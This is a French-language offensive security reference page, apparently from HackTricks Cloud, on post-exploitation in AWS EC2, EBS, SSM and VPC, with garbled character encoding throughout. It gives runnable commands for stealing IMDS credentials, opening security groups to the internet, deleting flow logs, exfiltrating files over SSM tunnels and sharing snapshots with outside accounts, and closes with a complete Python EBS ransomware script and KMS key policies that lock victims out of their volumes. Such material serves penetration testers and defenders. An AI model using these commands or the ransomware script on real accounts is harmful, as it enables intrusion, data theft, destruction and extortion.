AWS - EC2, EBS, SSM & VPC Post-exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
EC2 & VPC
Pour plus dâinformations, consultez :
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC traffic mirroring duplique le trafic entrant et sortant des instances EC2 au sein dâun VPC sans nĂ©cessiter lâinstallation de quoi que ce soit sur les instances ellesâmĂȘmes. Ce trafic dupliquĂ© serait communĂ©ment envoyĂ© vers quelque chose comme un network intrusion detection system (IDS) pour analyse et surveillance.\
Un attaquant pourrait abuser de cela pour capturer lâensemble du trafic et obtenir des informations sensibles :
Pour plus dâinformations, consultez cette page :
Copier une instance en cours dâexĂ©cution
Les instances contiennent gĂ©nĂ©ralement des informations sensibles. Il existe diffĂ©rentes façons dây accĂ©der (voir EC2 privilege escalation tricks). Cependant, une autre maniĂšre de vĂ©rifier ce quâelles contiennent est de crĂ©er une AMI et de lancer une nouvelle instance (mĂȘme dans votre propre compte) Ă partir de celleâci:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, qui contiennent généralement des informations sensibles, donc les vérifier devrait révéler ces informations.
Si vous trouvez un volume without a snapshot vous pouvez : crĂ©er un snapshot et effectuer les actions suivantes ou simplement le monter dans une instance Ă lâintĂ©rieur du compte :
Covert Disk Exfiltration via AMI Store-to-S3
Exporter une EC2 AMI directement vers S3 en utilisant CreateStoreImageTask pour obtenir une image disque brute sans partage de snapshot. Cela permet des analyses forensiques complĂštes hors ligne ou le vol de donnĂ©es tout en laissant le rĂ©seau de lâinstance intact.
AWS â Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
Attacher un volume io1/io2 Multi-Attach Ă une seconde instance et le monter en lecture seule pour siphonner des donnĂ©es en direct sans snapshots. Utile lorsque le volume victime a dĂ©jĂ Multi-Attach activĂ© dans la mĂȘme AZ.
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
CrĂ©er un EC2 Instance Connect Endpoint, autoriser lâingress, et injecter des clĂ©s SSH Ă©phĂ©mĂšres pour accĂ©der aux instances privĂ©es via un tunnel gĂ©rĂ©. Donne des chemins de mouvement latĂ©ral rapides sans ouvrir de ports publics.
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
DĂ©placer lâIP privĂ©e secondaire dâun ENI victime vers un ENI contrĂŽlĂ© par lâattaquant pour usurper des hĂŽtes de confiance rĂ©pertoriĂ©s par IP. Permet de contourner des ACLs internes ou des rĂšgles SG liĂ©es Ă des adresses spĂ©cifiques.
AWS â EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
RĂ©associer un Elastic IP de lâinstance victime Ă lâattaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir dâIP publiques de confiance.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
Si une rĂšgle de security group rĂ©fĂ©rence une customer-managed prefix list, lâajout de CIDR de lâattaquant Ă la liste Ă©tend silencieusement lâaccĂšs Ă toutes les rĂšgles SG dĂ©pendantes sans modifier le SG lui-mĂȘme.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
CrĂ©er des gateway ou interface VPC endpoints pour retrouver lâaccĂšs sortant depuis des subnets isolĂ©s. Tirer parti des private links gĂ©rĂ©s par AWS permet de contourner lâabsence de contrĂŽles IGW/NAT pour lâexfiltration de donnĂ©es.
AWS â Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
Un attaquant disposant de la permission ec2:AuthorizeSecurityGroupIngress peut ajouter des rĂšgles entrantes aux security groups (par exemple, autoriser tcp:80 depuis 0.0.0.0/0), exposant ainsi des services internes Ă lâInternet public ou Ă des rĂ©seaux autrement non autorisĂ©s.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
Un attaquant disposant de lâautorisation ec2:ReplaceNetworkAclEntry (ou Ă©quivalente) peut modifier les Network ACLs (NACLs) dâun subnet pour les rendre trĂšs permissives â par exemple en autorisant 0.0.0.0/0 sur des ports critiques â exposant ainsi lâensemble de la plage du subnet Ă Internet ou Ă des segments rĂ©seau non autorisĂ©s. Contrairement aux Security Groups, qui sont appliquĂ©s par instance, les NACLs sont appliquĂ©s au niveau du subnet, donc modifier un NACL restrictif peut avoir un rayon dâimpact beaucoup plus large en permettant lâaccĂšs Ă beaucoup plus dâhĂŽtes.
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
Un attaquant disposant des permissions ec2:Delete* et iam:Remove* peut supprimer des ressources et configurations dâinfrastructure critiques â par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Cela peut provoquer une interruption immĂ©diate du service, une perte de donnĂ©es et la perte de preuves mĂ©dico-lĂ©gales.
One example is deleting a security group:
aws ec2 delete-security-group
âgroup-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
Dirigez VPC Flow Logs vers un S3 bucket contrĂŽlĂ© par lâattaquant pour collecter en continu des mĂ©tadonnĂ©es rĂ©seau (source/destination, ports) en dehors du compte victime pour une reconnaissance Ă long terme.
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
MĂȘme si vous verrouillez une instance EC2 de sorte quâaucun trafic ne puisse sortir, elle peut toujours exfil via DNS.
- VPC Flow Logs ne lâenregistrent pas.
- Vous nâavez pas accĂšs aux logs DNS dâAWS.
- DĂ©sactivez ceci en rĂ©glant âenableDnsSupportâ sur false avec:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
Un attaquant pourrait appeler des endpoints API dâun compte quâil contrĂŽle. Cloudtrail enregistrera ces appels et lâattaquant pourra voir les donnĂ©es exfiltrĂ©es dans les logs Cloudtrail.
Open Security Group
Vous pourriez obtenir un accÚs supplémentaire aux services réseau en ouvrant des ports comme ceci:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Il est possible dâexĂ©cuter une instance EC2 et de lâenregistrer pour quâelle soit utilisĂ©e pour lancer des instances ECS, puis de voler les donnĂ©es des instances ECS.
Pour plus dâinformations, consultez ceci.
ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
Sur ECS avec le launch type EC2, le control plane suppose chaque task role et pousse les credentials temporaires vers lâECS agent via lâAgent Communication Service (ACS) sur WebSocket. Lâagent sert ensuite ces credentials aux containers via le task metadata endpoint (169.254.170.2). La recherche ECScape montre que si un container peut atteindre IMDS et voler le instance profile, il peut usurper lâagent via ACS et recevoir tous les task role credentials sur cet hĂŽte, y compris les credentials de task execution role qui ne sont pas exposĂ©s via le metadata endpoint.
Attack chain
- Steal the container instance role from IMDS. LâaccĂšs Ă IMDS est requis pour obtenir le host role utilisĂ© par lâECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
- Discover the ACS poll endpoint and required identifiers. En utilisant les credentials du instance role, appelez
ecs:DiscoverPollEndpointpour obtenir lâendpoint ACS et collecter des identifiants tels que le cluster ARN et le container instance ARN. Le cluster ARN est exposĂ© via le task metadata (169.254.170.2/v4/), tandis que le container instance ARN peut ĂȘtre obtenu via lâagent introspection API ou (si autorisĂ©)ecs:ListContainerInstances. - Impersonate the ECS agent over ACS. Initiez un WebSocket signĂ© SigV4 vers le poll endpoint et incluez
sendCredentials=true. ECS accepte la connexion comme une session agent valide et commence Ă streamer des messagesIamRoleCredentialspour toutes les tasks sur lâinstance. Cela inclut les credentials de task execution role, qui peuvent dĂ©bloquer des pulls ECR, des rĂ©cupĂ©rations Secrets Manager, ou lâaccĂšs CloudWatch Logs.
Find the PoC in https://github.com/naorhaziz/ecscape
IMDS reachability with IMDSv2 + hop limit 1
Configurer IMDSv2 avec HttpTokens=required et HttpPutResponseHopLimit=1 bloque seulement les tasks qui vivent derriÚre un hop supplémentaire (Docker bridge). Les autres modes réseau restent à un hop du Nitro controller et reçoivent toujours des réponses :
| ECS network mode | IMDS reachable? | Reason |
|---|---|---|
awsvpc | â | Chaque task obtient son propre ENI qui est toujours Ă un seul hop dâIMDS, donc les tokens et rĂ©ponses metadata arrivent avec succĂšs. |
host | â | Les tasks partagent le namespace de lâhĂŽte, elles voient donc la mĂȘme distance en hops que lâinstance EC2. |
bridge | â | Les rĂ©ponses meurent sur le Docker bridge parce que ce hop supplĂ©mentaire Ă©puise la limite de hops. |
Donc, ne supposez jamais que hop limit 1 protĂšge les workloads awsvpc ou host-mode â testez toujours depuis lâintĂ©rieur de vos containers.
Detecting IMDS blocks per network mode
-
awsvpc tasks : Les security groups, NACLs ou modifications de routage ne peuvent pas bloquer lâadresse link-local 169.254.169.254 parce que Nitro lâinjecte sur lâhĂŽte. VĂ©rifiez
/etc/ecs/ecs.configpourECS_AWSVPC_BLOCK_IMDS=true. Si le flag est absent (par dĂ©faut) vous pouvez curl IMDS directement depuis la task. Sâil est dĂ©fini, pivotez dans le namespace host/agent pour le rĂ©tablir ou exĂ©cutez vos outils en dehors dâawsvpc. -
bridge mode : Quand les requĂȘtes metadata Ă©chouent mĂȘme si hop limit 1 est configurĂ©, les dĂ©fenseurs ont probablement insĂ©rĂ© une rĂšgle DROP
DOCKER-USERtelle que--in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Listeriptables -S DOCKER-USERlâexpose, et lâaccĂšs root permet de supprimer ou rĂ©ordonner la rĂšgle avant dâinterroger IMDS. -
host mode : Inspectez la configuration de lâagent pour
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Ce rĂ©glage supprime complĂštement les task IAM roles, vous devez soit le rĂ©activer, passer Ă des tasks awsvpc, soit voler des credentials via un autre process sur lâhĂŽte. Quand la valeur esttrue(par dĂ©faut), chaque process en host-mode â y compris les containers compromis â peut atteindre IMDS Ă moins que des filtres eBPF/cgroup personnalisĂ©s ne ciblent169.254.169.254; cherchez des programmes tc/eBPF ou des rĂšgles iptables rĂ©fĂ©rant cette adresse.
Latacora a mĂȘme publiĂ© du Terraform validation code que vous pouvez dĂ©poser dans un compte cible pour Ă©numĂ©rer quels modes rĂ©seau exposent encore le metadata et planifier votre prochaine Ă©tape en consĂ©quence.
Une fois que vous comprenez quels modes exposent IMDS, vous pouvez planifier votre chemin post-exploitation : ciblez nâimporte quelle ECS task, demandez le instance profile, usurpez lâagent et rĂ©coltez tous les autres task role pour du mouvement latĂ©ral ou de la persistance Ă lâintĂ©rieur du cluster.
Supprimer VPC flow logs
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Required permissions:
ssm:StartSession
En plus de lâexĂ©cution de commandes, SSM permet le tunneling de trafic, ce qui peut ĂȘtre abusĂ© pour pivoter depuis des instances EC2 qui nâont pas dâaccĂšs rĂ©seau Ă cause des Security Groups ou des NACLs. Lâun des scĂ©narios oĂč cela est utile est de pivoter depuis un Bastion Host vers un cluster EKS privĂ©.
Pour démarrer une session, vous devez avoir installé le SessionManagerPlugin : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- Installez le SessionManagerPlugin sur votre machine
- Connectez-vous au Bastion EC2 en utilisant la commande suivante:
aws ssm start-session --target "$INSTANCE_ID"
- Obtenez les identifiants temporaires AWS du Bastion EC2 avec le script Abusing SSRF in AWS EC2 environment
- Transférez les identifiants sur votre machine dans le fichier
$HOME/.aws/credentialsen tant que profil[bastion-ec2] - Connectez-vous Ă EKS en tant que Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- Mettez Ă jour le champ
serverdans le fichier$HOME/.kube/configpour quâil pointe vershttps://localhost - CrĂ©ez un tunnel SSM comme suit :
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- Le trafic de lâoutil
kubectlest maintenant redirigé via le tunnel SSM passant par le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre machine en exécutant :
kubectl get pods --insecure-skip-tls-verify
Notez que les connexions SSL Ă©choueront Ă moins que vous ne dĂ©finissiez le flag --insecure-skip-tls-verify (ou son Ă©quivalent dans les outils dâaudit K8s). Ătant donnĂ© que le trafic est tunnelisĂ© via le tunnel sĂ©curisĂ© AWS SSM, vous ĂȘtes protĂ©gĂ© contre toute forme dâattaques MitM.
Enfin, cette technique nâest pas spĂ©cifique Ă lâattaque de clusters EKS privĂ©s. Vous pouvez dĂ©finir des domaines et des ports arbitraires pour pivot vers nâimporte quel autre service AWS ou une application personnalisĂ©e.
Transfert de port local âïž distant rapide (AWS-StartPortForwardingSession)
Si vous avez seulement besoin de rediriger un seul port TCP depuis lâinstance EC2 vers votre hĂŽte local vous pouvez utiliser le document SSM AWS-StartPortForwardingSession (aucun paramĂštre dâhĂŽte distant requis) :
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
La commande Ă©tablit un tunnel bidirectionnel entre votre poste de travail (localPortNumber) et le port sĂ©lectionnĂ© (portNumber) sur lâinstance sans ouvrir de rĂšgles Security-Group entrantes.
Common use cases:
- File exfiltration
- Sur lâinstance, dĂ©marrez un serveur HTTP rapide pointant vers le rĂ©pertoire que vous souhaitez exfiltrer :
python3 -m http.server 8000
- Depuis votre poste de travail, récupérez les fichiers via le SSM tunnel :
curl http://localhost:8000/loot.txt -o loot.txt
- Accéder aux applications web internes (par ex. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
Astuce : compressez et cryptez les preuves avant de les exfiltrer afin que CloudTrail nâenregistre pas le contenu en clair :
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
Partager AMI
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Rechercher des informations sensibles dans les AMIs publiques et privées
- https://github.com/saw-your-packet/CloudShovel: CloudShovel est un outil conçu pour rechercher des informations sensibles au sein dâAmazon Machine Images (AMIs) publiques ou privĂ©es. Il automatise le processus de lancement dâinstances Ă partir des AMIs ciblĂ©es, le montage de leurs volumes et lâanalyse Ă la recherche de secrets potentiels ou de donnĂ©es sensibles.
Partager EBS Snapshot
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
Une preuve de concept similaire Ă la dĂ©monstration Ransomware prĂ©sentĂ©e dans les S3 post-exploitation notes. KMS devrait ĂȘtre renommĂ© en RMS pour Ransomware Management Service tant il est facile de lâutiliser pour chiffrer divers services AWS.
Tout dâabord, depuis un compte AWS âattackerâ, crĂ©ez une customer managed key dans KMS. Pour cet exemple nous laisserons AWS gĂ©rer les donnĂ©es de clĂ© pour moi, mais dans un scĂ©nario rĂ©aliste un malicious actor conserverait les donnĂ©es de clĂ© en dehors du contrĂŽle dâAWS. Modifiez la key policy pour autoriser nâimporte quel Principal de compte AWS Ă utiliser la clĂ©. Pour cette key policy, le nom du compte Ă©tait âAttackSimâ et la rĂšgle de policy autorisant tout accĂšs sâappelle âOutside Encryptionâ
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
Maintenant, avec la key publique accessible Ă utiliser. Nous pouvons utiliser un compte âvictimâ qui a des instances EC2 lancĂ©es avec des volumes EBS non chiffrĂ©s attachĂ©s. Les volumes EBS de ce compte âvictimâ sont notre cible pour le chiffrement ; cette attaque se dĂ©roule sous lâhypothĂšse dâune compromission dâun compte AWS Ă hautes privilĂšges.
Similaire Ă lâexemple de ransomware sur S3. Cette attaque va crĂ©er des copies des volumes EBS attachĂ©s en utilisant des snapshots, utiliser la key publique disponible du compte âattackerâ pour chiffrer les nouveaux volumes EBS, puis dĂ©tacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisĂ©s pour crĂ©er les nouveaux volumes EBS chiffrĂ©s.
Cela a pour résultat de ne laisser dans le compte que des volumes EBS chiffrés.
Il est Ă©galement important de noter que le script a arrĂȘtĂ© les instances EC2 pour dĂ©tacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrĂ©s ont maintenant disparu.
Ensuite, revenez Ă la key policy dans le compte âattackerâ et supprimez la rĂšgle âOutside Encryptionâ de la key policy.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Attendez un moment pour que la nouvelle key policy se propage. Puis revenez au compte âvictimâ et tentez dâattacher lâun des EBS volumes nouvellement chiffrĂ©s. Vous constaterez que vous pouvez attacher le volume.
Mais lorsque vous tentez rĂ©ellement de redĂ©marrer lâinstance EC2 avec le volume EBS chiffrĂ©, ça Ă©chouera et elle passera de lâĂ©tat âpendingâ Ă lâĂ©tat âstoppedâ indĂ©finiment, car le volume EBS attachĂ© ne peut pas ĂȘtre dĂ©chiffrĂ© avec la key puisque la key policy ne lâautorise plus.
Voici le script python utilisĂ©. Il prend des creds AWS pour un compte âvictimâ et une valeur ARN AWS publiquement accessible pour la key Ă utiliser pour le chiffrement. Le script va crĂ©er des copies chiffrĂ©es de TOUS les EBS volumes disponibles attachĂ©s Ă TOUTES les instances EC2 du compte AWS ciblĂ©, puis arrĂȘter chaque instance EC2, dĂ©tacher les EBS volumes originaux, les supprimer, et enfin supprimer tous les snapshots utilisĂ©s pendant le processus. Il ne restera que des EBS volumes chiffrĂ©s dans le compte âvictimâ ciblĂ©. NâUTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES EBS VOLUMES ORIGINAUX. Vous pouvez les rĂ©cupĂ©rer en utilisant la KMS key utilisĂ©e et les restaurer Ă leur Ă©tat original via les snapshots, mais je tiens Ă vous informer quâil sâagit, au final, dâun ransomware PoC.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Références
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: Combler les lacunes dans IMDS Hardening
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo
- Pentest Partners â Comment transfĂ©rer des fichiers dans AWS avec SSM
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

